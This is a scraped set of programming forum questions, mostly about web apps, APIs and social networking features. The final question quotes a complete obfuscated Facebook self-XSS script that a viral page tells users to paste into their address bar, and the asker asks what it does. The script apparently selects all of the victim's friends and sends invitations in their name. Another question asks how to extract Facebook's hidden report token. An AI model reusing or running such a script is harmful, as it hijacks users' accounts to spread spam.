  Hey experts - I'm having a ridiculous time trying to get an SMS API working (ZeepMobile, if you're interested) with .NET... I've been around .NET for a few years, but with all this social networking and API stuff, I need to get into the HttpWebRequest a bit. I'm new at it, but not completely new; I was able to hook up my site to Twitter without too much fuss (ie, I was able to modify someone's code to work for me). Anyways, the way their API works is to send an SMS message, you send them a POST and they respond back to you. I can send it just fine, but every time I do, rather than echo back something helpful to figure out what the error is, I get the Yellow Error Page Of Death (YEPOD) saying something to the effect of "The remote server returned an error: (400) Bad Request." This occurs on my line: '...creation of httpwebrequest here...' Dim myWebResponse As WebResponse myWebResponse = request.GetResponse() '<--- error line Is there any way to simply receive the error from the server rather than have the webserver throw an exception and give me the YEPOD? Or better yet, can anyone post a working example of their Zeep code? :) Thanks! EDIT: Here's my whole code block: Public Shared Function SendTextMessage(ByVal username As String, _ ByVal txt As String) As String Dim content As String = "user_id=" + _ username + "&body=" + Current.Server.UrlEncode(txt) Dim httpDate As String = DateTime.Now.ToString("r") Dim canonicalString As String = API_KEY & httpDate & content Dim encoding As New System.Text.UTF8Encoding Dim hmacSha As New HMACSHA1(encoding.GetBytes(SECRET_ACCESS_KEY)) Dim hash() As Byte = hmacSha.ComputeHash(encoding.GetBytes(canonicalString)) Dim b64 As String = Convert.ToBase64String(hash) 'connect with zeep' Dim request As HttpWebRequest = CType(WebRequest.Create(_ "https://api.zeepmobile.com/messaging/2008-07-14/send_message"), HttpWebRequest) request.Method = "POST" request.ServicePoint.Expect100Continue = False ' set the authorization levels' request.Headers.Add("Authorization", "Zeep " & API_KEY & ":" & b64) request.ContentType = "application/x-www-form-urlencoded" request.ContentLength = content.Length ' set up and write to stream' Dim reqStream As New StreamWriter(request.GetRequestStream()) reqStream.Write(content) reqStream.Close() Dim msg As String = "" msg = reqStream.ToString Dim myWebResponse As WebResponse Dim myResponseStream As Stream Dim myStreamReader As StreamReader myWebResponse = request.GetResponse() myResponseStream = myWebResponse.GetResponseStream() myStreamReader = New StreamReader(myResponseStream) msg = myStreamReader.ReadToEnd() myStreamReader.Close() myResponseStream.Close() ' Close the WebResponse' myWebResponse.Close() Return msg End Function

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• Lots of questions about file I/O (reading/writing message strings)

  - by Nazgulled

  Hi, For this university project I'm doing (for which I've made a couple of posts in the past), which is some sort of social network, it's required the ability for the users to exchange messages. At first, I designed my data structures to hold ALL messages in a linked list, limiting the message size to 256 chars. However, I think my instructors will prefer if I save the messages on disk and read them only when I need them. Of course, they won't say what they prefer, I need to make a choice and justify the best I can why I went that route. One thing to keep in mind is that I only need to save the latest 20 messages from each user, no more. Right now I have an Hash Table that will act as inbox, this will be inside the user profile. This Hash Table will be indexed by name (the user that sent the message). The value for each element will be a data structure holding an array of size_t with 20 elements (20 messages like I said above). The idea is to keep track of the disk file offsets and bytes written. Then, when I need to read a message, I just need to use fseek() and read the necessary bytes. I think this could work nicely... I could use just one single file to hold all messages from all users in the network. I'm saying one single file because a colleague asked an instructor about saving the messages from each user independently which he replied that it might not be the best approach cause the file system has it's limits. That's why I'm thinking of going the single file route. However, this presents a problem... Since I only need to save the latest 20 messages, I need to discard the older ones when I reach this limit. I have no idea how to do this... All I know is about fread() and fwrite() to read/write bytes from/to files. How can I go to a file offset and say "hey, delete the following X bytes"? Even if I could do that, there's another problem... All offsets below that one will be completely different and I would have to process all users mailboxes to fix the problem. Which would be a pain... So, any suggestions to solve my problems? What do you suggest?

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• Importing a large dataset into a database

  - by peaceful

  I'm a beginning programmer in the relevant areas to this question, so if possible, it'd be helpful to avoid assuming I know a lot already. I'm trying to import the OpenLibrary dataset into a local Postgres database. After it's imported, I plan to use it as a starting seed for a Ruby on Rails application that will include information on books. The OpenLibrary datasets are available here, in a modified JSON format: http://openlibrary.org/dev/docs/jsondump I only need very basic information for my application, much less than what is provided in the dumps. I'm only trying to get out book titles, author names, and relationships between books and authors. Below are two typical entries from their dataset, the first for an author, and the second for a book (they seem to have an entry for each edition of a book). The entries seem to lead off with a primary key, and then with a type, before including the actual JSON database dump. /a/OL2A /type/author {"name": "U. Venkatakrishna Rao", "personal_name": "U. Venkatakrishna Rao", "last_modified": {"type": "/type/datetime", "value": "2008-09-10 08:44:01.978456"}, "key": "/a/OL2A", "birth_date": "1904", "type": {"key": "/type/author"}, "id": 99, "revision": 3} /b/OL345M /type/edition {"publishers": ["Social Science Research Project, Dept. of Geography, University of Dacca"], "pagination": "ii, 54 p.", "title": "Land use in Fayadabad area", "lccn": ["sa 65000491"], "subject_place": ["East Pakistan", "Dacca region."], "number_of_pages": 54, "languages": [{"comment": "initial import", "code": "eng", "name": "English", "key": "/l/eng"}], "lc_classifications": ["S471.P162 E23"], "publish_date": "1963", "publish_country": "pk ", "key": "/b/OL345M", "authors": [{"birth_date": "1911", "name": "Nafis Ahmad", "key": "/a/OL302A", "personal_name": "Nafis Ahmad"}], "publish_places": ["Dacca, East Pakistan"], "by_statement": "[by] Nafis Ahmad and F. Karim Khan.", "oclc_numbers": ["4671066"], "contributions": ["Khan, Fazle Karim, joint author."], "subjects": ["Land use -- East Pakistan -- Dacca region."]} The size of the uncompressed dumps are enormous, about 2GB for the authors list, and 18GB for the book editions list. OpenLibrary does not provide any tools for this themselves, they provide a simple unoptimized Python script for reading in sample data (which unlike the actual dumps comes in pure JSON format), but they estimate if that was modified for use on their actual data it would take 2 months (!) to finish loading the data. How can I read this into the database? I assume I'll need to write a program to do this. What language and any guidance on how I should do it to finish in a reasonable amount of time? The only scripting language I have any experience with is Ruby.

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• PHP: How to find connections between users so I can create a closed friend circle?

  - by CuSS

  Hi all, First of all, I'm not trying to create a social network, facebook is big enough! (comic) I've chosen this question as example because it fits exactly on what I'm trying to do. Imagine that I have in MySQL a users table and a user_connections table with 'friend requests'. If so, it would be something like this: Users Table: userid username 1 John 2 Amalia 3 Stewie 4 Stuart 5 Ron 6 Harry 7 Joseph 8 Tiago 9 Anselmo 10 Maria User Connections Table: userid_request userid_accepted 2 3 7 2 3 4 7 8 5 6 4 5 8 9 4 7 9 10 6 1 10 7 1 2 Now I want to find circles between friends and create a structure array and put that circle on the database (none of the arrays can include the same friends that another has already). Return Example: // First Circle of Friends Circleid => 1 CircleStructure => Array( 1 => 2, 2 => 3, 3 => 4, 4 => 5, 5 => 6, 6 => 1, ) // Second Circle of Friends Circleid => 2 CircleStructure => Array( 7 => 8, 8 => 9, 9 => 10, 10 => 7, ) I'm trying to think of an algorithm to do that, but I think it will take a lot of processing time because it would randomly search the database until it 'closes' a circle. PS: The minimum structure length of a circle is 3 connections and the limit is 100 (so the daemon doesn't search the entire database) EDIT: I've think on something like this: function browse_user($userget='random',$users_history=array()){ $user = user::get($userget); $users_history[] = $user['userid']; $connections = user::connection::getByUser($user['userid']); foreach($connections as $connection){ $userid = ($connection['userid_request']!=$user['userid']) ? $connection['userid_request'] : $connection['userid_accepted']; // Start the circle array if(in_array($userid,$users_history)) return array($user['userid'] => $userid); $res = browse_user($userid, $users_history); if($res!==false){ // Continue the circle array return $res + array($user['userid'] => $userid); } } return false; } while(true){ $res = browse_user(); // Yuppy, friend circle found! if($res!==false){ user::circle::create($res); } // Start from scratch again! } The problem with this function is that it could search the entire database without finding the biggest circle, or the best match.

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• How do I avoid the loader lock?

  - by Mark0978

  We have a managed app, that uses an assembly. That assembly uses some unmanaged C++ code. The Managed C++ code is in a dll, that depends on several other dlls. All of those Dlls are loaded by this code. (We load all the dll's that ImageCore.dll depends on first, so we can tell which ones are missing, otherwise it would just show up as ImageCore.dll failed to load, and the log file would give no clues as to why). class Interop { private const int DONT_RESOLVE_DLL_REFERENCES = 1; private static log4net.ILog log = log4net.LogManager.GetLogger("Imagecore.NET"); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr LoadLibraryEx(string fileName, IntPtr dummy, int flags); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr FreeLibrary(IntPtr hModule); static private String[] libs = { "log4cplus.dll", "yaz.dll", "zlib1.dll", "libxml2.dll" }; public static void PreloadAssemblies() { for (int i=0; i < libs.Length; ++i) { String libname = libs[i]; IntPtr hModule = LoadLibraryEx(libname, IntPtr.Zero, DONT_RESOLVE_DLL_REFERENCES); if(hModule == IntPtr.Zero) { log.Error("Unable to pre-load '" + libname + "'"); throw new DllNotFoundException("Unable to pre-load '" + libname + "'"); } else { FreeLibrary(hModule); } } IntPtr h = LoadLibraryEx("ImageCore.dll", IntPtr.Zero, 0); if (h == IntPtr.Zero) { throw new DllNotFoundException("Unable to pre-load ImageCore.dll"); } } } And this code is called by public class ImageDoc : IDisposable { static ImageDoc() { ImageHawk.ImageCore.Utility.Interop.PreloadAssemblies(); } ... } Which is static constructor. As near as I can understand it, as soon as we attempt to use an ImageDoc object, the dll that contains that assembly is loaded and as part of that load, the static constructor is called which in turn causes several other DLLs to be loaded as well. What I'm trying to figure out, is how do we defer loading of those DLLs so that we don't run smack dab into this loader lock that is being kicked out because of the static constructor. I've pieced this much together by looking at: http://social.msdn.microsoft.com/Forums/en-US/vsto/thread/dd192d7e-ce92-49ce-beef-3816c88e5a86 http://msdn.microsoft.com/en-us/library/aa290048%28VS.71%29.aspx http://forums.devx.com/showthread.php?t=53529 http://www.yoda.arachsys.com/csharp/beforefieldinit.html But I just can't seem to find a way to get these external DLLs to load without it happening at the point the class is loading. I think I need to get these LoadLibrary calls out of the static constructor, but don't know how to get them called before they are needed (except for how it is done here). I would prefer to not have to put this kind of knowledge of the dlls into every app that uses this assembly. (And I'm not sure that would even fix the problem.... The strange thing is that the exception only appears to be happening while running within the debugger, not while running outside the debugger.

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• Extracting the source code of a facebook page with JavaScript

  - by Hafizi Vilie

  If I write code in the JavaScript console of Chrome, I can retrieve the whole HTML source code by entering: var a = document.body.InnerHTML; alert(a); For fb_dtsg on Facebook, I can easily extract it by writing: var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; Now, I am trying to extract the code "h=AfJSxEzzdTSrz-pS" from the Facebook Page. The h value is especially useful for Facebook reporting. How can I get the h value for reporting? I don't know what the h value is; the h value is totally different when you communicate with different users. Without that h correct value, you can not report. Actually, the h value is AfXXXXXXXXXXX (11 character values after 'Af'), that is what I know. Do you have any ideas for getting the value or any function to generate on Facebook page. The Facebook Source snippet is below, you can view source on facebook profile, and search h=Af, you will get the value: <code class="hidden_elem" id="ukftg4w44"> <!-- <div class="mtm mlm"> ... .... <span class="itemLabel fsm">Unfriend...</span></a></li> <li class="uiMenuItem" data-label="Report/Block..."> <a class="itemAnchor" role="menuitem" tabindex="-1" href="/ajax/report/social.php?content_type=0&amp;cid=1352686914&amp;rid=1352686914&amp;ref=http%3A%2F%2Fwww.facebook.com%2 F%3Fq&amp;h=AfjSxEzzdTSrz-pS&amp;from_gear=timeline" rel="dialog"> <span class="itemLabel fsm">Report/Block...</span></a></li></ul></div> ... .... </div> --> </code> Please guide me. How can extract the value exactly? I tried with following code, but the comment block prevent me to extract the code. How can extract the value which is inside comment block? var a = document.getElementsByClassName('hidden_elem')[3].innerHTML;alert(a);

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• Alternatives to requiring users to register for an account?

  - by jamieb

  I'm working on a side project to build a new web app idea of mine. For the sake of discussion, let's say this app displays a random photograph of a famous work of art. On a scale of 1 to 5, users are asked to rate how well they like each piece of art, and then are shown the next photo. Eventually, the app is able to get an sense of the person's style and is able to recommend artwork that he/she may find pleasing. The whole concept is similar to Netflix. I understand how to do all the preference matching logic (although not as sophisticated as Netflix). But I'd like to find a way to do this without requiring that users create an account first. This is a novelty website that a typical user might use only a handful of times. Requiring registration is overkill and will likely drastically reduce it's utility. I'd like to allow people to begin rating artwork within five seconds of their initial pageview, yet maintain the integrity of the voting (since recommendations are predicated on how other people have rated the various pieces of artwork). Can it be done? Some ideas: OpenID. The perfect solution except for the fact that it's not wildly used and my target audience isn't the most technically adept demographic. Text message. User inputs phone number and is texted a four digit code to key into the web app. Quick, easy, and great way to limit abuse. However, privacy concerns abound... people are probably even less likely to give me their phone number than their email address. Facebook login. I personally don't have a Facebook account due to privacy concerns. And I'd really hate to support such a proprietary platform. Hash code/Bookmark. Vistor's initial pageview generates a 5 or 6 digit alphanumeric code that is embedded in each subsequent URL. They can bookmark any page to save their state. Good: Very simple system that doesn't require any user action. Bad: Very easy to stuff the ballot box, might be difficult to account for users sharing the link containing their ID code via email or social networking sites.

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• Auto update the content in ASP.NET

  - by Zerotoinfinite

  I have to design a website where user can update their status, just like facebook and twitter and other social networking sites. Now my requirement is to refresh the feed with new user updates. Ex: when the new status comes facebook automatically add that on the top of the feed. on the other hand twitter shows the number of updates which is ready to be load. both ways are acceptable to me Now, I have to decide what is the best way to achieve this functionality. I am open to use ASP.NET. So I am confused that regular repeater control with timer and auto refresh or any other way? (I am wondering that if I set repeater for auto update and meanwhile if user is performing some action on any status it will lost). or do I need to change my framework from ASP.NET to ASP.NET MVC (I am little afraid with MVC as I have very less knowledge regarding it and I know it has a learning curve to master ajax/Jquery things) Any suggestion how I can I achieve it in a better and feasible way? EDIT1 I am not looking for a code but I want advice to achieve this. Supporting URL's would be appreciated. EDIT2 I am open to JQuery which can regularly check the database and fill the section. But my concern is this that if user is updating any comment and want to load/feed is automatically generated. his textbox text shouldn't be disappear (just like facebook, twitter or Linkedin) EDIT3 I have seen that on Stack overflow when any other user has modified the question/answer, I got notification like this question/answer is modified. and when I clicked on that notification only that section got reloaded. I am curious to know how to achieve this functionality. So that when user is commenting on a status/post and if meanwhile someone has updated the content then it would show the other user comment. Edit4 Could someone please recommend me an example of ASP.NET MVC 3+ which can do similar kind of activity (i.e. one input box and once user insert an text it will add the item in the list (with JQuery).

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• Account confirmation email sent as SPAM

  - by praveen

  I am using PHPMailer to send a confirmation email for newly registered users in my social network. But I found out most of them have ended up in user's spam list. (Hotmail and Yahoo). How to avoid this? This is my script $mail=new PHPMailer(); $mail->IsSMTP(); $mail->SMTPAuth = mSMTPAuth(); $mail->SMTPSecure = mSMTPSecure(); $mail->Host = mHost(); $mail->Port = mPort(); $mail->Username = mUsername(); $mail->Password = mPassword(); $mail->From = mFrom(); $mail->FromName = "SiteName"; $mail->Subject = "SiteName New Account Activation"; $mail->IsHTML(true); $mail->WordWrap = 50; $mail->Body = "<h2>Welcome to " .$sitename. " " .$username. "! </h2><br><br>"; $mail->Body .= "Please click on the link below to verify your email address:<br><br>"; $mail->Body .= "<a href='".$base. "verify.php?a=" .$gen_key."'>".$base. "verify.php?a=" .$gen_key."</a>"; $mail->Body .= "<br><br>Regards<br>"; $mail->AltBody = "Welcome to " .$sitename. " " .$username. "!\n\nTo verify your email address, please click on the link below:\n\n".$base. "verify.php?a=" .$gen_key; $mail->AddAddress($email); $mail->Send(); $mail->ClearAddresses();

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• Static Javascript files not loaded in Express app

  - by Dave Long

  I have an express app that has a bunch of static javascript files that aren't being loaded even though they are registered in my app.js file. Even public scripts (like jQuery: http://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js) aren't processing. I can see the script tags in the generated html, but none of the functionality runs and I can't see the files loading in the web inspector. Here is the code that I have: app.js var express = require('express') var app = module.exports = express.createServer(); // Configuration var port = process.env.PORT || 3000; app.configure(function(){ app.set('views', __dirname + '/views'); app.set('view engine', 'jade'); app.use(express.bodyParser()); app.use(express.methodOverride()); app.use(app.router); app.use(express.static(__dirname + '/public')); }); app.configure('development', function(){ app.use(express.errorHandler({ dumpExceptions: true, showStack: true })); }); app.configure('production', function(){ app.use(express.errorHandler()); }); // Routes app.get('/manage/new', function(req, res){ res.render('manage/new', { title: 'Create a new widget' }); }) app.listen(port); console.log("Express server listening on port %d in %s mode", app.address().port, app.settings.env); /views/manage/layout.jade !!! 5 html(lang="en") head title= title link(rel="stylesheet", href="/stylesheets/demo.css") link(rel="stylesheet", href="/stylesheets/jquery.qtip.css") script(type="text/javascript", href="http://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js") body!= body script(type="text/javascript", href="/javascripts/jquery.formalize.js") script(type="text/javascript", href="/javascripts/jquery.form.js") script(type="text/javascript", href="/javascripts/jquery.qtip.js") script(type="text/javascript", href="/javascripts/formToWizard.js") script(type="text/javascript", href="/javascripts/widget.js") /views/manage/new.jade h1= title div(style="float:left;") form(action="/manage/generate", method="post", enctype="multipart/form-data", name="create-widget") .errors fieldset legend Band / Album Information fieldset legend Social Networks fieldset legend Download All of my javascript files are stored in /public/javascripts and all of my static CSS files are being served up just fine. I'm not sure what I've done wrong.

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• MySQL table organization and optimization (Rails)

  - by aguynamedloren

  I've been learning Ruby on Rails over the past few months with no prior programming experience. Lately, I've been thinking about database optimization and table organization. I know there are great books on the subject, but I typically learn by example / as I go. Here's a hypothetical situation: Let's say I am building a social network for a niche community with 250,000 members (users). The users have the ability to attend events. Let's say there are 50,000 past/present/future events. Much like Facebook events, a user can attend any number of events and an event can have any number of attendees. In the database, there would be a table for users and a table for events. Somehow I would have to create an association between the users and events. I could create an "events" column in the users table such that each user row would contain a hash of event IDs, or I could create an "attendees" column in the events table such that each event row would contain a hash of user IDs. Neither of these solutions seem ideal, however. On a users profile page, I want to display the list of events they are associated with, which would require scanning the 50,000 event rows for the user ID of said user if I include an "attendees" column in the events table. Likewise, on an event page, I want to display a list of attendees for the event, which would require scanning the 250,000 user rows for the event ID of said event if I include an "events" column in the users table. Option 3 would be to create a third table that contains the attendee information for each and every event - but I don't see how this would solve any problems. Are these non-issues? Rails makes accessing all of this information easy, but I guess I'm worried about scale. It is entirely possible that I am under-estimating the speed and processing power of modern databases / servers / etc. How long would it take to scan 250,000 user rows for specific event IDs - 10ms? 100ms? 1,000ms? I guess that's not that bad. Am I just over-thinking this?

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• <li> titles and descriptions align across top

  - by AMC

  Not quite sure how to go about describing what it is I'm trying to achieve, so I have some screenshots.. Basically, I'd like the <h2>s all have their top edges align, as well as the <p>'s. What I currently have: What I would like to have: index.html <div id="services"> <p><span>Services</span></p> <ul> <li><h2>Identity and Logo Design</h2><p>Nulla et diam risus. Praesent vestibulum augue non purus tincidunt placerat. Sed in orci leo. Duis dignissim nibh vitae lacus placerat et posuere</p></li> <li><h2>Branding</h2><p>Nulla et diam risus. Praesent vestibulum augue non purus tincidunt placerat. Sed in orci leo. Duis dignissim nibh vitae lacus placerat et posuere</p></li> <li><h2>Web Design and Development</h2><p>Nulla et diam risus. Praesent vestibulum augue non purus tincidunt placerat. Sed in orci leo. Duis dignissim nibh vitae lacus placerat et posuere</p></li> <li><h2>Social Media</h2><p>Nulla et diam risus. Praesent vestibulum augue non purus tincidunt placerat. Sed in orci leo. Duis dignissim nibh vitae lacus placerat et posuere</p></li> </ul> <div class="next"> <a href="#"><img src="img/next.png" alt="Click for more information" /></a> </div><!-- end next --> </div><!-- end services --> style.css #services { border-top: 1px solid #202020; padding-bottom: 60px; padding-top: 40px; } #services p span { font-family: nevis-webfont; font-size: 112.5%; font-weight: normal; letter-spacing: 1px; text-transform: uppercase; } #services ul li { display: inline-block; padding-left: 100px; width: 160px; } #services ul li:first-child { padding-left: 0px; } #services ul li h2 { padding-top: 20px; text-align: center; } #services .next { float: right }

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• Android Facebook SDK : post message without showing facebook page

  - by someone_ smiley

  I am trying to integrate Facebook to my Android app for social post. I have downloaded latest Facebook sdk from here and apply all setup require to post to facebook. Now i can post to facebook. But problem is that, when i run sample program from facebook sdk, a browser like page is open and user have to enter message himself there. but i dont want this page to showed up. i want a fixed message to post directly without opening facebook dialog box. But if there is noway to avoid this, please tell me how can i fixed certain part of message so that user can't modified it. Thanks in Advance Edit: this is message i got after using this project 04-10 11:44:34.691: I/dalvikvm(719): Failed resolving Lnet/xeomax/TestRocket/TestRocket; interface 22 'Lnet/xeomax/FBRocket/LoginListener;' 04-10 11:44:34.691: W/dalvikvm(719): Link of class 'Lnet/xeomax/TestRocket/TestRocket;' failed 04-10 11:44:34.691: D/AndroidRuntime(719): Shutting down VM 04-10 11:44:34.701: W/dalvikvm(719): threadid=1: thread exiting with uncaught exception (group=0x40015560) 04-10 11:44:34.781: E/AndroidRuntime(719): FATAL EXCEPTION: main 04-10 11:44:34.781: E/AndroidRuntime(719): java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{net.xeomax.TestRocket/net.xeomax.TestRocket.TestRocket}: java.lang.ClassNotFoundException: net.xeomax.TestRocket.TestRocket in loader dalvik.system.PathClassLoader[/data/app/net.xeomax.TestRocket-1.apk] 04-10 11:44:34.781: E/AndroidRuntime(719): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1569) 04-10 11:44:34.781: E/AndroidRuntime(719): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:1663) 04-10 11:44:34.781: E/AndroidRuntime(719): at android.app.ActivityThread.access$1500(ActivityThread.java:117) 04-10 11:44:34.781: E/AndroidRuntime(719): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:931) 04-10 11:44:34.781: E/AndroidRuntime(719): at android.os.Handler.dispatchMessage(Handler.java:99) 04-10 11:44:34.781: E/AndroidRuntime(719): at android.os.Looper.loop(Looper.java:130) 04-10 11:44:34.781: E/AndroidRuntime(719): at android.app.ActivityThread.main(ActivityThread.java:3683) 04-10 11:44:34.781: E/AndroidRuntime(719): at java.lang.reflect.Method.invokeNative(Native Method) 04-10 11:44:34.781: E/AndroidRuntime(719): at java.lang.reflect.Method.invoke(Method.java:507) 04-10 11:44:34.781: E/AndroidRuntime(719): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) 04-10 11:44:34.781: E/AndroidRuntime(719): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) 04-10 11:44:34.781: E/AndroidRuntime(719): at dalvik.system.NativeStart.main(Native Method) 04-10 11:44:34.781: E/AndroidRuntime(719): Caused by: java.lang.ClassNotFoundException: net.xeomax.TestRocket.TestRocket in loader dalvik.system.PathClassLoader[/data/app/net.xeomax.TestRocket-1.apk] 04-10 11:44:34.781: E/AndroidRuntime(719): at dalvik.system.PathClassLoader.findClass(PathClassLoader.java:240) 04-10 11:44:34.781: E/AndroidRuntime(719): at java.lang.ClassLoader.loadClass(ClassLoader.java:551) 04-10 11:44:34.781: E/AndroidRuntime(719): at java.lang.ClassLoader.loadClass(ClassLoader.java:511) 04-10 11:44:34.781: E/AndroidRuntime(719): at android.app.Instrumentation.newActivity(Instrumentation.java:1021) 04-10 11:44:34.781: E/AndroidRuntime(719): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1561) 04-10 11:44:34.781: E/AndroidRuntime(719): ... 11 more

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• Do Websites need Local Databases Anymore?

  - by viatropos

  If there's a better place to ask this, please let me know. Every time I build a new website/blog/shopping-cart/etc., I keep trying to do the following: Extract out common functionality into reusable code (Rubygems and jQuery plugins mostly) If possible, convert that gem into a small service so I never have to deal with a database for the objects involved (by service, I mean something lean and mean, usually built with the Sinatra Web Framework with a few core models). My assumption is, if I can remove dependencies on local databases, that will make it easier and more scalable in the long run (scalable in terms of reusability and manageability, not necessarily database/performance). I'm not sure if that's a good or bad assumption yet. What do you think? I've made this assumption because of the following reason: Most serious database/model functionality has been built on the internet somewhere. Just to name a few: Social Network API: Facebook Messaging API: Twitter Mailing API: Google Event API: Eventbrite Shopping API: Shopify Comment API: Disqus Form API: Wufoo Image API: Picasa Video API: Youtube ... Each of those things are fairly complicated to build from scratch and to make as optimized, simple, and easy to use as those companies have made them. So if I build an app that shows pictures (picasa) on an Event page (eventbrite), and you can see who joined the event (facebook events), and send them emails (google apps api), and have them fill out monthly surveys (wufoo), and watch a video when they're done (youtube), all integrated into a custom, easy to use website, and I can do that without ever creating a local database, is that a good thing? I ask because there's two things missing from the puzzle that keep forcing me to create that local database: Post API RESTful/Pretty Url API While there's plenty of Blogging systems and APIs for them, there is no one place where you can just write content and have it part of some massive thing. For every app, I have to use code for creating pretty/restful urls, and that saves posts. But it seems like that should be a service! Question is, is that what the website is? ...That place to integrate the worlds services for my specific cause... and, sigh, to store posts that only my site has access to. Will everyone always need "their own blog"? Why not just have a profile and write lots of content on an established platform like StackOverflow or Facebook? ... That way I can write apps entirely without a database and know that I'm doing it right. Note: Of course at some point you'd need a database, if you were doing something unique or new. But for the case where you're just rewiring information or creating things like videos, events, and products, is it really necessary anymore??

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• What exactly dose this piece of JavaScript do ?

  - by helpmarnie

  ok, so I saw this page growing in popularity amoung my social circles on facebook, what 98 percent bla bla... and it walks users through copying the bellow JavaScript (i added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. simply put, What dose this do? javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))} )();

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